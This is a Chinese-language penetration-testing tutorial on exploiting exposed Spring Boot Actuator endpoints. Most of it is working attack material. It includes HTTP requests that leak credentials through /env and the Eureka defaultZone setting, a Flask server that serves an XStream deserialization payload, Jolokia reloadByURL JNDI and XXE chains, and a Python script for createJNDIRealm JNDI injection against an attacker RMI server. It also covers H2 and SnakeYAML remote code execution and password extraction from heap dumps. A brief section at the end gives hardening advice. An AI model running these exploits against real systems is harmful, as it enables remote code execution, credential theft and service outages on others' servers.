〇、背景
Actuator 端点允许您监视应用程序并与之交互。Spring Boot 包含许多内置端点,您也可以添加自己的端点。例如, health端点提供基本的应用程序健康信息。
dirsearch中支持对Actuator 端点的扫描。
一、漏洞检测
SpringBoot识别
/error,There was an unexpected error (type=None, status=<font style="color:rgb(0, 0, 0);">999</font>)./resume,There was an unexpected error (type=Method Not Allowed, status=<font style="color:rgb(0, 0, 0);">405</font>).
对于Spring 1x,它们在 / 下注册;在2x中,它们移动到 /actuator/ 基本路径。
Actuator识别
参考https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt

重要的路由
spring boot 常见的功能
/dump - 显示线程转储(包括堆栈跟踪)
/autoconfig - 显示自动配置报告
/configprops - 显示配置属性
/trace - 显示最后几条HTTP消息(可能包含会话标识符)
/logfile - 输出日志文件的内容
/shutdown - 关闭应用程序
/info - 显示应用信息
/metrics - 显示当前应用的’指标’信息
/health - 显示应用程序的健康指标
/beans - 显示Spring Beans的完整列表
/mappings - 显示所有MVC控制器映射
/env - 提供对配置环境的访问
/restart - 重新启动应用程序

二、漏洞利用
0x01 /env导致信息泄露
全局搜索password、pwd
通过**${name}**** 可以获取明文字段**
例如,对于gitPassword变量,通过发以下包,然后 post refresh 任意内容,可获取对应信息(basic认证获取密码)
POST /env HTTP/1.1
Host: 0.0.0.0(实际ip或host地址)
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
eureka.client.serviceUrl.defaultZone=http://${gitPassword}@0.0.0.0:8080
Ps: 一般情况需要等待3秒会有响应包,如果立即返回可能是服务缺少spring-boot-starter-actuator扩展包无法刷新漏洞则无法利用
无需VPS的小技巧
在/env、/trace同时可用的情况下,可以往本地打POST请求,通过/trace来泄露密码。
比方说我actuctor开在8090端口,那么就POST ${PID}到本地
POST /env HTTP/1.1
Host: actuator:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
eureka.client.serviceUrl.defaultZone=http://${PID}@127.0.0.1:8090/poc/${PID}
接着,去/env下寻找明文值就行啦!

0x02 Eureka-Client <1.8.7 XStream反序列化漏洞
**注意:**此漏洞会覆写远程主机的配置,建议先保存原本的defaultZone,漏洞利用完毕之后,再改回去,否则可能会导致服务崩溃。
/configprops中存在defaultZone字段/health中存在Eureka字段
漏洞利用脚本(Windows)
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>cmd</string>
<string>/c</string>
<string>calc.exe</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8)
注意在<string>里面放要执行的命令。实测下面这种payload在Windows上也可
<string>cmd /c calc.exe</string>
首先,允许上面的Py脚本,把漏洞利用的vps起起来
①POST /env
POST /env HTTP/1.1
Host: actuator:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
eureka.client.serviceUrl.defaultZone=http://127.0.0.1:8/
②POST /refresh
POST /refresh HTTP/1.1
Host: actuator:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
③恢复原本的defaultZone
另外还有一些小细节:对于Spring 2.x,需要采用JSON的Content-Type
POST /actuator/env HTTP/1.1
Host: actuator:8090
Content-Type: application/json
Content-Length: 0
{"name":"eureka.client.serviceUrl.defaultZone", "value":"http://0.0.0.0:8/"}
同理,POST refresh也需设置Content-Type: application/json
0x03 /jolokia reloadByURL 漏洞
Logback库提供的“
reloadByURL”操作,允许我们从外部URL重新加载日志记录配置
/jolokia/list中,存在reloadByURL值
PoC
Get
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/[DNSLOG]!/logback.xml
Receive

里面有jdk版本信息。当然,你知道,这种方式支持DnsLog
JNDI=>RCE
HTTP Server,放置logback.xml,内容如下
<configuration>
<insertFromJNDI env-entry-name="rmi://[ip]:[port]/1u4fif" as="appName" />
</configuration>
再搭建一个恶意RMI服务器,起在1099端口
(可以使用JNDI-Injection-Exploit搭建恶意RMI服务)

最后向Actuactor请求一下就好了
GET /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/[http.server]!/logback.xml HTTP/1.1
Host: actuator:8090

XXE
在/jolokia/list目录下,存在logback组件,则可以使用jolokia远程包含logback.xml配置文件,造成blind XXE。
GET /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:8!/logback.xml HTTP/1.1
Host: actuator:8090
企图利用XXE来DoS,是会失败的,JDK做了限制。。。

0x04 /jolokia createJNDIRealm 反序列
/jolokia/list中,存在createJNDIRealm- 目标站点开启了
jolokia端点且存在createJNDIRealm方法,可进行JNDI注入RCE测试
一共需要5步,
- 创建 JNDIRealm
- 写入 contextFactory 为 RegistryContextFactory
- 写入 connectionURL 为你的 RMI Service URL
- 停止 Realm
- 启动 Realm 以触发 JNDI 注入
都整合到下面的脚本中啦!
依旧是先搭建恶意的RMI服务器(可以使用JNDI-Injection-Exploit),接着更改下面的payload
import requests as req
import sys
from pprint import pprint
import json
import ssl
import urllib3
import hashlib
urllib3.disable_warnings()
ssl._create_default_https_context = ssl._create_unverified_context
#### Payload ####
URL = "http://actuator:8090/" + "/jolokia/"
RMI_SERVER = "rmi://[vps]:1099/uqeu9k"
#创建JNDIRealm
create_JNDIrealm ={"mbean": "Tomcat:type=MBeanFactory","type": "EXEC","operation": "createJNDIRealm","arguments": ["Tomcat:type=Engine"]}
#写入contextFactory
set_contextFactory ={"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "contextFactory","value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
#写入connectionURL为自己公网RMI service地址
set_connectionURL = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "connectionURL","value": RMI_SERVER}
#停止Realm
stop_JNDIrealm = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "stop","arguments": []}
#运行Realm,触发JNDI 注入
start = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "start","arguments": []}
EXPs = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]
for i in EXPs:
rep = req.post(URL, json=i)
print(rep.text)
print("Done!")
允许脚本即可RCE!好像没有看到副作用…
0x05 H2 RCE
Spring Boot 2.x版本存在H2配置不当导致的RCE
- GET /actuator/restart 的状态码为 405
- POST /actuator/restart 的状态码为 415(不指定
Content-Type)
利用过程
1
POST /actuator/env HTTP/1.1
Host: actuator:8080
Content-Type: application/json
Content-Length: 348
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('cmd /c calc.exe');"}
2
POST /actuator/restart HTTP/1.1
Host: actuator:8080
Content-Type: application/json
Content-Length: 0
会把服务打挂(慎用!!!)
0x06 SnakeYAML RCE
拉取漏洞环境(repository/springcloud-snakeyaml-rce),运行环境,推荐在docker下运行。
首先,创建payload.yml文件,放置到Web目录下
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:88/payload.jar"]
]]
]
其次,拷贝 https://github.com/artsploit/yaml-payload 仓库到本地,修改src/artsploit/AwesomeScriptEngineFactory.java中要执行的命令,如图所示

接着,POST /env 更新
POST /env HTTP/1.1
Host: actuator:9092
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
spring.cloud.bootstrap.location=http://127.0.0.1:88/payload.yml
更新refresh接口
POST /refresh HTTP/1.1
Host: actuator:9092
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
0x07 /heapdump
当下载/heapdump是403的时候, /heapdump.json可以下载成功
Eclipse Memory Analyzer :https://www.eclipse.org/mat/downloads.php
打开工具file->open heap dump选择下载下来的文件,点击 OQL 标签,在查询框中输入,选择红色感叹号执行SQL语句
- spring boot 1.x 版本 heapdump 查询结果,最终结果存储在
java.util.Hashtable$Entry实例的键值
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
- spring boot 2.x 版本 heapdump 查询结果,最终结果存储在
java.util.LinkedHashMap$Entry实例的键值对中,本文测试的是springboot 2.x版本,配合env信息进行搜索
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
三、漏洞修复
0x01 添加认证
先在pom.xml中,添加依赖
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
接着,在application.properties里面配置账号、密码
management.security.enabled=true
security.user.name=admin
security.user.password=admin123
配置后,除了/info外,/*均需要basic认证才能访问,如http://actuator:8090/env,会影响正常的使用~

0x02 禁用接口(推荐)
第一种,可以禁用全部接口。
在application.properties中配置
endpoints.enabled = false

第二种,禁用部分接口
同样在application.properties中配置
①先禁用全部
②再开放部分接口
endpoints.enabled = false
endpoints.metrics.enabled = true
endpoints.health.enabled = true
效果就是这样的
访问/metrics,/health是ok的

访问/env的话,同样不行
